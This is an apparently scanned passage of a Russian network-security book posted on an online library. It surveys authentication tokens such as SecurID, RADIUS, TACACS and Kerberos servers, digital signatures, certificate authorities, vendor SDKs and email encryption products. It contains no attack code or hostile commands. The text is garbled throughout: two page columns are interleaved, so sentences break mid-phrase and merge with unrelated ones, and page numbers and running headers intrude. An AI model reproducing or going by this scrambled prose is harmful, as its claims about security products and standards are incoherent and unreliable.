Communication Devices, MicroFrame и Устройство с помощью криптографического Security Dynamics предлагают широкий выбор алгоритма и на основе введенных данных создает шифровальных машин. Это аппаратные, уникальный пароль для данной сессии и программные и линейные шифраторы. Линейный показывает его на своем мониторе. Затем шифратор — устройство, которое подключается к необходимо ввести полученный код в компьютер, порту RS 232 персонального или портативного и, если сервер идентификации подтвердит его компьютера и затем к нему присоединяется модем.

правильность, вы получите доступ к необходимым Системы Communication Devices и ресурсам.

MicroFrame могут использовать пейджеры в Security Dynamics Technologies пошла еще качестве приемников шифрованных сигналов.

дальше, помимо этой процедуры запросов и После того, как был введен пароль, сервер ответов, она с помощью своего устройства посылает строку цифр на пейджер, которую затем SecurID, меняет пароль сессий каждые 60 секунд.

необходимо ввести в компьютер.

Очевидно, что все пароли являются уникальными Даже если кажется, что использование и их значение невозможно предсказать. С шифраторов это то же самое что и помощью SecurID вы вводите идентификатор и применение пароля или PIN который вводит сервер запрашивает ваш пароль, затем вводите пользователь — это неверно. При условии, что свой PIN и полученный код доступа отображается 111 Ломаем и защищаем сети Ломаем и защищаем сети технологическая цепочка правильно настроена и ознакомиться с продуктами, использующими все действия выполняются корректно, то стандарты RADIUS и TACACS.

использование шифров дает полную гарантию Обычно идентификационные серверы (обоснованную математически) в том, что RADIUS или TACACS обслуживают запросы на пользователи, информация и сетевые ресурсы опознание пользователей от шлюзов или других защищены от подделки.

точек входа в сеть. Сам сервер хранит у себя базу Еще большую степень безопасности можно данных имен, паролей, PIN пользователей и реализовать, использовав биометрические данные собственных ключей, которые использует для для идентификации пользователей. Их идентификации клиентов.

невозможно украсть и очень трудно подделать, Сан Бернардино, самый большой по например, отпечатки пальцев или голос. Правда территории округ в США, использует Defender этот способ защиты данных и ресурсов хорош, Security Server для авторизации удаленных когда доступ к ним разрешен только пользователей. Сервер Shiva перенаправляет ограниченному кругу лиц, например, к таким, как запросы на авторизацию, с помощью рецепт кока колы или система запуска ядерных специального микроволнового канала связи, ракет. Mytec Technologies и Secure Computing, серверу идентификации. Пользователи могут наряду с другими поставщиками систем использовать либо программные, либо аппаратные безопасности, обеспечивают взаимодействие с шифровальные устройства для авторизации.

биометрическим оборудованием третьих фирм.

Рекомендуется использовать аппаратные Обмен данными между шифровальными шифровальные машины для портативных машинами или биометрической аппаратурой с компьютеров, поскольку это даст возможность сервером происходит на основе стандартов SSO, хранить их раздельно. Это еще больше таких как Remote Authentication Dial In User увеличивает надежность системы.

Service (RADIUS), Terminal Access Control Access Чтобы проконтролировать доступ клиентов Control System (TACACS) и Kerberos.

к приложениям, файловым серверам и базам Если вашей основной задачей является данных, следует рассмотреть продукты на базе SSO идентификация пользователей, имеющих доступ к технологии — такие как Kerberos, Distributed внешним коммуникационным шлюзам, Computing Environment, Secure European System for маршрутизаторам, системе администрирования Applications in a Multivendor Environment или портов и брандмауэру, защищающему внутреннюю Distributed Authentication Security Service. Они дают сеть от прямого доступа из Internet, стоит возможность выполнять процедуры авторизации для всех приложений, серверов и баз данных.

113 Ломаем и защищаем сети Ломаем и защищаем сети восстанавливает хэшированную строку. Затем Глава 3: Идентификация объектов запускает алгоритм хеширования и создает Для идентификации сообщений, файлов собственную копию хеш строки принятого или других объектов в сети используется объекта. Если обе строки совпадут — это будет технология цифровой подписи. Стоит обратить означать, что объект действительно послан внимание на продукты RSA компании Data указанным пользователем и не был никем Security, основанной на стандартах и методах изменен.

Public Key Cryptography Standards (PKCS), Digital Что же действительно делает систему Signature Algorithm, X.509, Pretty Good Privacy шифрования с помощью открытых ключей (PGP) и другие, применяющие технику публичных действительно надежной? То, что отправитель ключей. Цифровая подпись — это строка, сообщения никогда и никому не сообщает свой содержащая набор символов, который однозначно собственный закрытый ключ для шифрования.

определяет источник, родителя объекта, и Открытый ключ помещается в массив данных, и подтверждает его целостность, т.е. что он не был его значащие части разбросаны по всему массиву.

изменен после отправки.

Этот массив данных называют сертификатом Цифровая (или электронная) подпись открытого ключа, который часто строится с генерируется с помощью специальных использованием синтаксиса стандарта Х.509. Он алгоритмов — Secure Hash Algorithm, Message выдается специальными организациями и со Digest 2 или MD 5. Они определенным образом свидетельством того, что он принадлежит преобразуют битовый образ объекта, изменяя и определенному лицу или компании.

усекая его.

Адресат достает сертификат из центрального Затем он шифруется с помощью закрытого хранилища, например Web сервера, извлекает из ключа пользователя, в результате получается него публичный ключ, чтобы удостоверить строка, которая и является цифровой подписью.

цифровую подпись.

Цифровая подпись, сам объект и открытый ключ Для того чтобы понять, в каком продукте собираются вместе и отправляются адресату.

вы действительно нуждаетесь, необходимо понять, Открытый ключ необходим для того, чтобы как вы будете интегрировать его в свою сеть. Как адресат мог оценить целостность полученного он будет взаимодействовать с операционной объекта.

средой рабочих станций, почтовой системой, Web браузерами и другими приложениям.

Получатель расшифровывает цифровую Например, Government Markets' Secret Agent подпись с помощью присланного ключа и компании ATT посылает цифровую подпись 115 Ломаем и защищаем сети Ломаем и защищаем сети вместе с почтовым сообщением как VeriSign — первая фирма которая стала продавать присоединенный файл. сертификаты публичных ключей, стандарта Х.509.

Signature Program фирмы Regnoc Software Обычно СА формирует иерархию доверия, в великолепно интегрирована в Windows. Она которой каждый более высокий уровень применяет технологию OLE 2.0 для подписи поручается за предыдущий и подписывает его любого сформированного документа. ViaCrypt PGP сертификат. VeriSign, ATT и Northen Telecom использует мене элегантный, но не менее поставляют инструменты для интеграции своих эффективный способ. Она выкусывает текст продуктов в иерархическую систему СА и сообщения из приложения в буфер (clipboard), поддерживают сертификаты стандарта Х.509.

подписывает его там и затем возвращает обратно С помощью Digital ID фирмы VeriSign, вы приложению. Благодаря этому, она хорошо сможете создать и управлять сертификатами работает с широким спектром Windows и открытых ключей, которые поддерживают Macintosh программ.

цифровые подписи, использующиеся Еще одна важная вещь, с которой вы приложениями разных фирм производителей.

столкнетесь, работая с цифровой подписью, — это VeriSign обеспечивает базовую технологию организационная и техническая сущность цифровой подписи, которая лежит в основе известная под названием Certification Authority множества продуктов, например Macintosh OS 7. (CA). CA помещается в доступном месте, фирмы Apple Computer, Internet Office WebServer зашифрованный с помощью своего собственного компании CompuServe, Internet Connection Sever ключа, и, если необходимо, отменяет сертификаты корпорации IBM, Internet Information Server от публичных ключей. Пользователь, получивший Microsoft, Web сервера и Web браузера фирмы сообщение, запрашивает сертификат отправителя у Netscape, WebServer 2.0 компании Oracle и СА, находящегося на Web сервере, чтобы SecureWeb tools kit — набора библиотек фирмы удостовериться в подлинности письма. Иногда Terisa Systems.

сертификат присылают вместе с сообщением.

С другой стороны, система защиты ViaCrypt СА может стать своеобразным PGP не требует иерархической структуры СА. Она корпоративным офицером по безопасности, использует так называемую паутину доверия, когда защищая внутренние приложения сети. пары пользователей идентифицируют друг друга.

Тем не менее, ViaCrypt скоро будет поддерживать Существуют специализированные фирмы иерархическую организацию СА других фирм выпускающие такие продукты — VeriSign и как производителей.

планируется U.S. Postal Service (USPS).

117 Ломаем и защищаем сети Ломаем и защищаем сети Стоит обратить внимание на одну станциях и серверах. Непременно надо обратить замечательную способность ViaCrypt PGP — он внимание и на возможность извлечь необходимую может автоматически расшифровывать все информацию из существующей корпоративной зашифрованные сообщения, посланные или базы данных и поместить ее в сервер полученные сотрудниками. Ее можно настроить идентификации.

так, чтобы вся исходящая корреспонденция SDK фирмы АТT включает библиотеку с автоматически зашифровывалась и требовать, Си интерфейсом для вызова функций авторизации чтобы служащие использовали для расшифровки и специальные библиотеки для создания цифровой сертифицированные ключи, которые меняются подписи и другими секретными алгоритмами для каждую сессию.

Windows NT и Windows 95.

Фирма Security Dynamics недавно приобрела Глава 4: Инструменты для систему RSA компании Data Security, и предлагает на рынке RSA SDK, включая BSAFE 3.0 и разработки приложений инструментальные средства для работы с После того как вы выбрали конкретный Interoperable Privacy Enhanced Messaging. RSA продукт, необходимо встроить его в ваши библиотеки использовались для создания многих приложения и сеть. Это заставляет покупателей коммерческих систем безопасности, включая очень критично относиться к инструментам расширения для Windows 95, NetWare, Netscape разработчика, которые поставляются вместе с ним.

Navigator, Lotus Notes и SQLNet компании Oracle.

Они позволяют сделать доступным сервис CyberSafe и Nortel поддерживают стандарт идентификации из существующих приложений Generic Security Service (GSS), определенный в или трансформировать оборудование клиента так, IETF RFC 1508.

чтобы он мог обмениваться данными с сервером Интерфейс библиотеки GSS не требует авторизации. Некоторые из поставщиков специального изучения архитектуры систем предлагают еще более сложные инструменты для безопасности таких как Kerberos, DCE или PKCS.

разработки и специальные библиотеки.

Естественно, необходимо, чтобы они Глава 5: Степень риска поддерживают интерфейс с языками программирования высокого уровня, с которыми Массовый рынок электронной коммерции, знакомы ваши программисты. Так же стоит документооборота и других межсетевых оценить те ресурсы, которые потребует процедура взаимодействий скоро потребует авторизации авторизации и скорость ее выполнения на рабочих 119 Ломаем и защищаем сети Ломаем и защищаем сети пользователей и информации. В ближайшем Глава 6: Ключ от квартиры, где будущем сложные идентификационные свойства, могут лежать деньги такие как программные шифровальные машины и цифровая подпись, будут просто интегрированы Задумывались ли вы когда нибудь о том, непосредственно в большинство операционных что каждый раз, когда конечный пользователь систем, приложений, продукты удаленного посылает электронное сообщение по сети, он доступа, почтовые системы и брандмауэры широко распахивает дверь перед потенциальным Internet. Не ясно, что будут делать фирмы, агрессором. Как утверждают знатоки специализирующиеся на выпуске систем компьютерной безопасности, люди даже не безопасности, когда основные поставщики представляют себе, насколько легко опытный программного обеспечения начнут встраивать их в хакер может воспользоваться несовершенствами свои продукты.

коммуникационных протоколов и ознакомиться с содержанием электронных Internet писем, послать Однако, если вы хотите сделать вашу фальшивое сообщение и даже получить доступ к корпоративную сеть непроницаемой, начните другим подключенным к сети системам. Все, что использовать сегодняшние коммерческие для этого надо знать — это имя домена или один продукты и разбираться с массой новых IP адрес;

если данная информация становится незнакомых стандартов и технологий. Не известна злоумышленнику, то перед ним обязательно быть математиком для того, чтобы открывается путь к совершению разнообразных ориентироваться в существующем рынке систем пакостей.

безопасности и алгоритмах, лежащих в их основе.

Один из методов защититься от Надо просто рассчитать потенциальные непрошеных соглядатаев, завоевывающий все потери от взломанных и украденных паролей и большую популярность в последнее время, состоит других связанных с этим убытков. Затем оценить в шифровании электронной почты и прочих необходимость механизма, который бы электронных сообщений, то есть кодировании гарантировал идентичность каждого пользователя, текста при помощи сложных математических сообщения, документа и пакета в вашей сети.

алгоритмов. Конечно, ни один из шифровальных алгоритмов не дает стопроцентной защиты от злоумышленников, и некоторые методы шифровки настолько сложны, что ознакомиться с содержанием зашифрованных сообщений практически невозможно.

121 Ломаем и защищаем сети Ломаем и защищаем сети Используя шифрование сообщений в провайдером, при этом нет никакой возможности сочетании с правильной установкой контролировать степень защиты этих линий.

коммуникационных средств, должными Даже если большая часть используемого процедурами идентификации пользователя и оборудования принадлежит именно вам, все равно обеспечением безопасности линий связи, маршрутизатор, обрабатывающий ваши посылки компания может добиться весьма высокого уровня не ваш, он принадлежит владельцу защиты информационного обмена. Нельзя, однако коммуникационной сети. В частности, приходится не признать, что при принятии решения о довольно часто сталкиваться с тем, что покупке подобной системы невозможно обойтись компания владелец подключает к маршрутизатору без услуг квалифицированного консультанта, модем, для того чтобы управлять работой поскольку, во первых, технология эта очень маршрутизатора в дистанционном режиме.

сложна, во вторых, использование даже самого Именно через эти модемы к лучшего продукта добавит хлопот администрации, маршрутизатору и могут подключаться хакеры, а в третьих, на этом рынке присутствует очень получая в результате доступ ко всем передаваемым много производителей, разработавших самые данным;

при этом служба безопасности компании разные API интерфейсы.

так никогда и не узнает, что то или иное сообщение было перехвачено.

Глава 7: Разнообразие применений Поэтому и пытается потребитель подобрать для себя шифровальные устройства или Не является ли шифрование сообщений какие нибудь другие изделия, позволяющие стрельбой из пушки по воробьям? Те скрыть информацию от чужих глаз. Примером пользователи, которые уже перешли на такого изделия может служить продукт NetFortress, использование этой технологии или готовы выпускаемый компанией Digital Secured Networks сделать этот шаг в ближайшем будущем, дают Technology. Одно устройство шифрует весь трафик однозначный ответ: нет, ни в коей мере. Одна из в процессе его передачи, другое дешифрует трафик причин такого перехода — желание обеспечить при приеме. Производители маршрутизаторов защиту сообщений, передаваемых по линиям предлагают нечто подобное в виде связи, используемым в глобальных сетях.

дополнительных устройств к своим изделиям.

Pages:     || 2 | 3 | 4 |



© 2011 www.dissers.ru - «Бесплатная электронная библиотека»

Материалы этого сайта размещены для ознакомления, все права принадлежат их авторам.
Если Вы не согласны с тем, что Ваш материал размещён на этом сайте, пожалуйста, напишите нам, мы в течении 1-2 рабочих дней удалим его.